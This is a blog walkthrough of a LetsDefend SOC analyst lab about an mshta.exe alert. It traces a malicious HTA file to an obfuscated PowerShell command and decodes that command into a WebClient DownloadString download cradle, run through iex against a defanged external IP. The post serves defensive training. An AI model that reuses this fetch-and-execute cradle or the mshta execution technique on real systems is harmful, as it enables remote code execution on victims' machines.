LetsDefend SOC164 - Suspicious Mshta Behavior Walkthrough

This post will contain spoilers for the SOC164 - Suspicious Mshta Behavior alert in LetsDefend. So, hopefully you’re here for that :)

Alert Overview

Upon intial review we can see that the EDR on the host Roberto (172.16.17.38) raised an alert due to a low-reputation hta file being executed via mshta.exe and that this action was allowed by the EDR.

• Rule - SOC164 - Suspicious Mshta Behavior
• Hostname - Roberto
• IP Address - 172.16.17.38
• Executable - C:\Windows\System32\mshta.exe
• Command Line Arguments - C:\Windows\System32\mshta.exe C:\Users\Roberto\Desktop\Ps1.hta
• MD5 Hash of Ps1.hta - 6685c433705f558c5535789234db0e5a
• Alert Trigger Reason - Low reputation hta file executed via mshta.exe
• EDR Action - Allowed

Initial Thoughts

My initial thoughts on this alert was that it was interesting that the name of the low-reptuation hta file was Ps1.hta. Ps1 is typically the extension that you would find on a PowerShell script such as "example.ps1". This led me to believe we'd eventually be looking at PowerShell of some type.

Investigation Process

Lets start with an overview of what mshta and .hta files are because that will give us the background and context through which to look at this alarm.

mshta.exe is a native Microsoft Windows binary that executes Microsoft HTML Applications (.hta) files. .hta files are standalone applications that execute using the same models and technologies of Internet Explorer but outside of the browser.

The danger with HTAs is that they are treated as executable files, meaning that they run immediately. Beyond that, the additonal dangers of an HTA app is that unlike a regular HTML application running in the context of a browser which is subject to the browser’s security model which is confined to communication with the server, manipulation of the page’s object model and reading/writing cookies, an HTA runs as a fully trusted application on the host and can do things like modify system files and registry values. Mainly it is used to run malicious JavaScript, JScript, or VBScript to modify system files, registry values, and manipulate services unbeknownst to the users.

mshta.exe is considered a "LOLBIN" which stands for living-off-the-land-binary. LOLBINs are native Microsoft binaries which can be used by attackers to achieve their objectives such as execute code, compile code, upload/download files, dump memory, etc. Essentially, they're used by attackers to further their campaign without having to add additional tools to the compromised device. LOLBAS Project

Looking at mshta.exe in the LOLBAS project, we can see that it can be used for execution of arbitrary code which makes sense because the Command Line information in the alert shows mshta.exe executes Ps1.hta.

So knowing that mshta.exe executed an HTML Application file called Ps1.hta its time to see what we can find out about that Ps1.hta file.

Opening up virustotal.com in a browser tab, we can search the MD5 hash of the Ps1.hta file to see that the Ps1.hta file is marked as malicious by about half of the virustotal detection engines. On the details tab we also see that it has PowerShell commandlets listed as part of it. So, my suspicion about the name Ps1 being related to the PowerShell script extension (.ps1) seems to be correct.

With the suspicion that we're going to be looking at PowerShell, the next step is to take a look at the EDR profile for the machine "Roberto" in LetsDefend. We're going to look at the Command History tab to see if our guess is correct - mshta.exe runs Ps1.hta which executes a PowerShell command.

Looking at the Command History on Roberto, we can see that indeed, mshta.exe executes Ps1.hta and then immediately after that an obfuscated PowerShell command is run. The next logical step is that we need to break down what the obfuscated PowerShell command is doing.

To get fancy, you can make use of ChatGPT to uncover what the command is doing and it does an excellent job of deobfuscating and explaining the PowerShell command.

To manually de-obfuscate this what you can do is throw the command into a text-editor of your choice and break the command to a new line after every semi-colon (;) which indicates the end of single command.

Now, what we see is that the first command is a function that takes the argument "$i" and then loops across all of the values fed into the argument in pairs. It converts each pair of characters fed into it from hexadecimal values to ASCII characters. For instance it takes "44" prepends 0x to it to make "0x44" and then converts that hexadecimal value to ASCII which is "D".

In H2 we have a formatted string where the place holders {1}, {0}, {2} represent the subsequent list 0 - "WebCL" 1 - "net." and 2 - "ient". After being formatted in the order designated the string equals: (new-object ('net.WebClient'))

In H3-H6 we have hexadecimal strings that get converted back to ASCII text using the function H1. To easily convert these strings yourself, you can use Cyber Chef. Ultimately, the string equals "Downloadstring" as seen below in H7 which appends each of those ASCII string portions together.

In H8 the script appends the values of H2 with H7 and the string "('http://192[.]142.58.23/Server.txt') to make the full string: (new-object ('net.WebClient')).Downloadstring('http://193[.]142.158.23/Server.txt')

Finally, on the last line the attacker's script uses the PowerShell commandlet "iex" which is shorthand for invoke-expression which executes the download craddle which is what this string is called in the offensive-security space.

After having determined what the PowerShell script is doing, we should check to see if that Server.txt file was actually downloaded and what was inside of it. To do this, navigate to the SIEM tool (Log Management) and search for the malicious server's IP address 193[.]142.58.23.

By checking the details of these connections we can see that the Server.txt file was not found on the remote server because Roberto got a 404 error which is "not found".

Finally, with all of this information in hand. You should be asking the question - who did this? We know what they did and how they did it but who was it? Did Roberto go rogue? Is someone on that machine with a remote shell that we're not seeing? Did Roberto walk away from their workstation leaving it unlocked and the janitor who moonlights as a blackhat do this?

To determine how the mshta.exe process launched, we can go back to the EDR tool (Endpoint Security) and take a look at the process history list.

From the bottom up, we can see that powershell.exe was launched by mshta.exe via the Parent Process identifier, which we already knew. Then, looking at the Parent Process for mshta.exe we can see that explorer.exe was the Parent Process.

What is means is that a user that had a session with access to Robert's user desktop launched this file. So, it was user, not malware or a persistence mechanism like a registry entry or auto-run that started mshta.exe to launch the malicious PowerShell script Ps1.hta.

Explorer.exe is responsible for a user's desktop and launching files via file extension. I.e., executing an .hta file by double clicking on it would cause explorer.exe to spawn mshta.exe. As seen in the image below, I have Process Hacker 2 running. I search mshta and then double-click on an example hta file I have. By looking at the mshta.exe properties in Process Hacker we can see that mshta.exe's parent is explorer.exe

Playbook and Alarm Resolution

I won't walk you through filling out the playbook. If you've read and followed along with the above steps you should know the answers. BUT as a quick summary we did the following:

• Discovered that mshta.exe is a LOLBin (living off the land binary)
• Determined that mshta.exe executed a suspicious .hta file with a low-reputation (Ps1.hta)
• Determined that the process execution history indicates a user double-clicked the Ps1.hta file.

From here you should be able to clear the Playbook answers and close the alarm pretty confidently as a True Positive.